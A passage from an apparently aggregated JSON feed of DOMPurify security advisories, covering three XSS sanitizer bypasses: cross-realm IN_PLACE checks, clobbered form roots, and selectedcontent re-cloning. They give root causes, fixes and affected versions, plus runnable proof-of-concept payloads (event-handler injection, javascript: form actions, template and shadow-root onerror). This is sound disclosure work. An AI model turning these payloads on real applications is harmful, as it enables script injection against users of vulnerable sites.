'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');\n  const inp = idoc.createElement('input');\n  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 — cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement('div');\n  const tpl = idoc.createElement('template');\n  tpl.innerHTML = '\u003cimg src=\"x\" onerror=' +\n    '\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e';\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 — cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement('iframe');\niframe.srcdoc = '\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e';\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement('div');\n  host.attachShadow({ mode: 'open' }).innerHTML =\n    '\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e';\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** — `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page's DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:56:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8","https://github.com/advisories/GHSA-hpcv-96wg-7vj8"],"source_kind":"github","identifiers":["GHSA-hpcv-96wg-7vj8","CVE-2026-49458"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-10-24T21:02:43.104Z","epss_percentage":0.00404,"epss_percentile":0.33533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003c= 3.4.5"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocGN2LTk2d2ctN3ZqOM4ABYr2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","url":"https://github.com/advisories/GHSA-r47g-fvhr-h676","title":"DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM","description":"# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `\u003cform\u003e` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement('template').innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** — `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n  arrayPush(DOMPurify.removed, { element: node });\n  try {\n    // eslint-disable-next-line unicorn/prefer-dom-node-remove\n    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null\n  } catch (_) {\n    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op\n  }                                           //      when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` — which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`'s contract acknowledges this — the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** — `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n  const { attributes } = currentNode;\n\n  /* Check if we have attributes; if not we might have a text node */\n  if (!attributes || _isClobbered(currentNode)) {\n    return;                                   // [B] silently skips ALL attribute checks\n  }                                           //     for clobbered nodes\n  ...\n};\n```\n\nThe skip at `[B]` is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED\n  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip\n  ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue — but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== 'string'` | object (an `\u003cINPUT\u003e`) |\n| `setAttribute` | `typeof element.setAttribute !== 'function'` | object (not callable) — *but* `\u003cembed\u003e`/`\u003capplet\u003e`/`\u003ciframe\u003e` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== 'string'` | object |\n| `insertBefore` | `typeof element.insertBefore !== 'function'` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== 'function'` | object |\n| `childNodes` | `!(element.childNodes \u0026\u0026 typeof element.childNodes.length === 'number')` | object — `\u003cINPUT\u003e` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `\u003cINPUT\u003e` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== 'string'` | object |\n| `removeChild` | `typeof element.removeChild !== 'function'` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== 'function'` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`'s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const root = document.createElement('form');\n  root.setAttribute('onmouseover', 'window.__rooted = 1');\n  const clobber = document.createElement('input');\n  clobber.setAttribute('name', 'nodeName');\n  root.appendChild(clobber);\n\n  // typeof root.nodeName === 'object' (an \u003cINPUT\u003e element), not 'string'.\n  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n  DOMPurify.sanitize(root, { IN_PLACE: true });\n\n  console.log('output:', root.outerHTML);\n  // \u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\n  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n  document.body.appendChild(root);\n  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  console.log('handler fired:', window.__rooted === 1);  // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end — Playwright against `main` HEAD\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.setContent('\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(() =\u003e {\n    const root = document.createElement('form');\n    root.setAttribute('onmouseover', 'window.__rooted = 1');\n    const clobber = document.createElement('input');\n    clobber.setAttribute('name', 'nodeName');\n    root.appendChild(clobber);\n\n    DOMPurify.sanitize(root, { IN_PLACE: true });\n\n    document.body.appendChild(root);\n    window.__rooted = 0;\n    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n\n    return {\n      version: DOMPurify.version,\n      output: root.outerHTML,\n      handlerFired: window.__rooted === 1,\n    };\n  });\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n  version: '3.4.5',\n  output: '\u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e',\n  handlerFired: true\n}\n```\n\n### (3) Variant matrix — six distinct clobber-target properties\n\nEvery property name in `_isClobbered`'s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\"      → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"setAttribute\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"namespaceURI\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"insertBefore\"  → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"hasChildNodes\" → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"childNodes\"    → \u003cform onmouseover=\"…\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\nThis makes the fix less of a one-line patch — every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement('template');\nt.innerHTML = untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `\u003cform onmouseover=…\u003e\u003cinput name=nodeName\u003e…\u003c/form\u003e`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** — URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"\u003ccolliding-name\u003e\"`** — the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM \u0026\u0026 (lcName === 'id' || lcName === 'name') \u0026\u0026 (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** — all survive untouched.\n- **Custom event handlers DOMPurify wouldn't have explicit list entries for** (e.g., newly-spec'd `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified — full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('action', 'javascript:alert(1)');\nroot.setAttribute('target', '_top');\nroot.setAttribute('onclick', 'alert(2)');\nroot.setAttribute('onmouseover', 'alert(3)');\nroot.setAttribute('autofocus', '');\nroot.setAttribute('formaction', 'javascript:alert(4)');\nroot.setAttribute('id', 'cookie');           // DOM-clobbering primitive\nroot.innerHTML += '\u003cinput name=\"nodeName\"\u003e';\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// \u003cform action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n//       onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n//       id=\"cookie\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky.** Chromium's `HTMLFormElement` named-property cache appears to retain the named child reference even after the child's `name` attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's `name=\"nodeName\"` attribute is correctly stripped (the output shows `\u003cinput\u003e` with no attributes), yet `typeof form.nodeName === 'object'` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` → `_forceRemove` → `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml();                                     // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive\nconst recovered = (() =\u003e {\n  const t = document.createElement('template');\n  t.innerHTML = root.outerHTML;                                       // forces a fresh parse\n  const r = t.content.firstElementChild;\n  DOMPurify.sanitize(r, { IN_PLACE: true });\n  return r;\n})();\n// recovered.outerHTML === '\u003cform\u003e\u003cinput\u003e\u003c/form\u003e'  ← finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root's attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `{{…}}` / `\u003c%…%\u003e` / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified — same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('title', '{{evil}}');\nroot.setAttribute('onmouseover', 'window.__x=1');\nconst c = document.createElement('input');\nc.setAttribute('name', 'nodeName');\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// \u003cform title=\"{{evil}}\" onmouseover=\"window.__x=1\"\u003e\u003cinput\u003e\u003c/form\u003e\n//        ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly — `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string — including, indirectly, any code path that does `el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it's not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope — shadow-root traversal — but does not change `_forceRemove`'s parent-less-node behavior or `_sanitizeAttributes`'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n   ```ts\n   const _forceRemove = function (node: Node): boolean {\n     arrayPush(DOMPurify.removed, { element: node });\n     try {\n       getParentNode(node).removeChild(node);\n       return true;\n     } catch (_) {\n       try { remove(node); } catch (_) {}\n       return node.parentNode === null \u0026\u0026 /* but still attached to itself */ false;\n     }\n   };\n   ```\n   Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === 'function'` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === 'function'` check — but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:53:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676","https://github.com/advisories/GHSA-r47g-fvhr-h676"],"source_kind":"github","identifiers":["GHSA-r47g-fvhr-h676","CVE-2026-49459"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-10-26T21:02:58.693Z","epss_percentage":0.00365,"epss_percentile":0.30033,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003c= 3.4.5"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","url":"https://github.com/advisories/GHSA-87xg-pxx2-7hvx","title":"DOMPurify XSS via selectedcontent re-clone","description":"### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `\u003cselectedcontent\u003e` clone from the selected `\u003coption\u003e`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `\u003coption\u003e` and removes `selected=javascript:1`\n4. The browser refreshes the `\u003cselectedcontent\u003e` clone from the original `option`'s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize\n6. The returned string contains unsanitized markup inside `\u003cselectedcontent\u003e`.\n\n### PoC\n```js\nconst dirty =\n  '\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003c/selectedcontent\u003e\u003c/button\u003e' +\n  '\u003coption selected=javascript:1\u003e' +\n  '\u003cimg src=x onerror=alert(1)\u003ex' +\n  '\u003c/option\u003e\u003c/select\u003e';\n\nconst clean = 